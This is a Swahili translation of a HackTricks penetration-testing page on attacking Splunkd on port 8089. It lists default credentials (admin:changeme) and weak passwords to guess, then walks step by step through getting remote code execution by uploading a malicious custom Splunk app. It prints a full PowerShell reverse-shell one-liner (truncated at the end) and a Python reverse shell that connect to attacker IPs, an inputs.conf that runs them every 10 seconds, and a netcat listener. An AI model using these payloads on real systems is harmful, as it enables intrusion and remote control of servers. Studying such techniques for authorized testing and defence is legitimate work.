# 8089 - Kupima Usalama wa Splunkd
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa nahtARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
## **Taarifa Msingi**
Splunk ni chombo cha **uchambuzi wa logi** ambacho kina jukumu muhimu katika **kukusanya, kuchambua, na kuonyesha data**. Ingawa lengo lake la awali halikuwa kutumikia kama chombo cha **SIEM (Usimamizi wa Habari na Matukio ya Usalama)**, limepata umaarufu katika uwanja wa **uangalizi wa usalama** na **uchambuzi wa biashara**.
Maeneo ya Splunk mara nyingi hutumiwa kuhifadhi **data nyeti** na yanaweza kutumika kama **chanzo muhimu cha habari** kwa wadukuzi ikiwa watashinda mfumo. **Bandari ya chaguo:** 8089
```
PORT STATE SERVICE VERSION
8089/tcp open http Splunkd httpd
```
{% hint style="info" %}
**Seva ya wavuti ya Splunk inaendesha kwa chaguo-msingi kwenye bandari 8000**.
{% endhint %}
## Uchambuzi
### Toleo Huru
Kesi ya majaribio ya Splunk Enterprise inabadilika kuwa **toleo huru baada ya siku 60**, ambalo **halihitaji uthibitishaji**. Si jambo la kawaida kwa waendeshaji wa mfumo kufunga majaribio ya Splunk kuitathmini, ambayo **baadaye husahauliwa**. Hii itabadilika moja kwa moja kuwa toleo huru ambalo halina aina yoyote ya uthibitishaji, ikileta pengo la usalama katika mazingira. Baadhi ya mashirika wanaweza kuchagua toleo huru kutokana na mipaka ya bajeti, bila kuelewa kabisa matokeo ya kutokuwa na usimamizi wa mtumiaji/jukumu.
### Anwani za Kuingia za Chaguo-msingi
Kwenye toleo za zamani za Splunk, anwani za kuingia za chaguo-msingi ni **`admin:changeme`**, ambazo zinaonyeshwa kwa urahisi kwenye ukurasa wa kuingia.\
Hata hivyo, **toleo jipya zaidi la Splunk** huanzisha **anwani za kuingia** **wakati wa mchakato wa usakinishaji**. Ikiwa anwani za kuingia za chaguo-msingi hazifanyi kazi, ni vyema kuchunguza nywila dhaifu za kawaida kama vile `admin`, `Karibu`, `Karibu1`, `Nenosiri123`, n.k.
### Kupata Taarifa
Baada ya kuingia kwenye Splunk, tunaweza **kuvinjari data**, kukimbia **ripoti**, kuunda **dashibodi**, **kusakinisha programu** kutoka maktaba ya Splunkbase, na kusakinisha programu za desturi.\
Unaweza pia kukimbia namna ya kificho: Splunk ina njia nyingi za **kukimbia kificho**, kama vile programu za Django upande wa seva, vituo vya REST, vipokezi vilivyoandikwa, na hati za tahadhari. Njia ya kawaida ya kupata utekelezaji wa kificho cha mbali kwenye seva ya Splunk ni kupitia matumizi ya kipokezi kilichoandikwa.
Zaidi ya hayo, kwa kuwa Splunk inaweza kusakinishwa kwenye mwenyeji wa Windows au Linux, vipokezi vilivyoandikwa vinaweza kuundwa ili kukimbia skripti za Bash, PowerShell, au Batch.
### Shodan
* `Kujenga Splunk`
## Utekelezaji wa Kificho cha Mbali
### Unda Programu ya Desturi
Programu ya desturi inaweza kukimbia **skripti za Python, Batch, Bash, au PowerShell**.\
Tambua kwamba **Splunk inakuja na Python iliyosakinishwa**, hivyo hata kwenye mifumo ya **Windows** utaweza kukimbia kificho cha python.
Unaweza kutumia [**hii**](https://github.com/0xjpuff/reverse\_shell\_splunk) pakiti ya Splunk kutusaidia. **Dereva** la saraka hii lina mifano kwa [Python](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/rev.py) na [PowerShell](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/run.ps1). Hebu tuende hatua kwa hatua.
Ili kufanikisha hili, kwanza tunahitaji kuunda programu ya Splunk ya desturi kwa kutumia muundo wa saraka ifuatayo:
```shell-session
tree splunk_shell/
splunk_shell/
├── bin
└── default
```
**`bin`** directory ita kuwa na **scripts yoyote tunayokusudia kuendesha** (katika kesi hii, **PowerShell** reverse shell), na directory ya chaguo itakuwa na faili yetu ya `inputs.conf`. Reverse shell yetu itakuwa **PowerShell one-liner:**
```powershell
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
```
Faili ya [inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf) inaambia Splunk **ni script gani ya kukimbia** na hali zingine. Hapa tunaweka programu kama iliyoruhusiwa na kuambia Splunk kukimbia script kila sekunde 10. Kipindi kila wakati ni sekunde, na kuingiza (script) itakimbia tu ikiwa mipangilio hii iko.
```shell-session
cat inputs.conf
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
```
Tunahitaji faili ya `.bat`, ambayo itaendeshwa wakati programu inapowekwa na kutekeleza amri moja ya PowerShell.
Hatua inayofuata ni kuchagua `Install app from file` na kupakia programu.
Kabla ya kupakia programu mbaya ya desturi, hebu anzisha msikilizaji kwa kutumia Netcat au [socat](https://linux.die.net/man/1/socat).
```shell-session
sudo nc -lnvp 443
listening on [any] 443 ...
```
#### Kwenye ukurasa wa `Pakia programu`, bonyeza kwenye kuvinjari, chagua tarball tuliyounda mapema na bonyeza `Pakia`. Mara tu tunapopakia programu, tunapokea **shell ya nyuma** na hali ya programu itabadilishwa moja kwa moja kuwa `Imewezeshwa`.
#### Linux
Ikiwa tungekuwa tunashughulika na **mwenyeji wa Linux**, tungehitaji **kuhariri script ya Python ya `rev.py`** kabla ya kuunda tarball na kupakia programu mbaya ya desturi. Mchakato mwingine ungebaki sawa, na tungepata uunganisho wa shell ya nyuma kwenye msikilizaji wetu wa Netcat na kuendelea na shughuli.
```python
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
```
### RCE & Kupanda Kwa Mamlaka
Katika ukurasa ufuatao unaweza kupata maelezo jinsi huduma hii inaweza kutumiwa vibaya kwa ajili ya kupanda kwa mamlaka na kupata uthabiti:
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %}
[splunk-lpe-and-persistence.md](../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
{% endcontent-ref %}
## Marejeo
* [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
Jifunze AWS hacking kutoka sifuri hadi shujaa nahtARTE (HackTricks AWS Red Team Expert)!
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.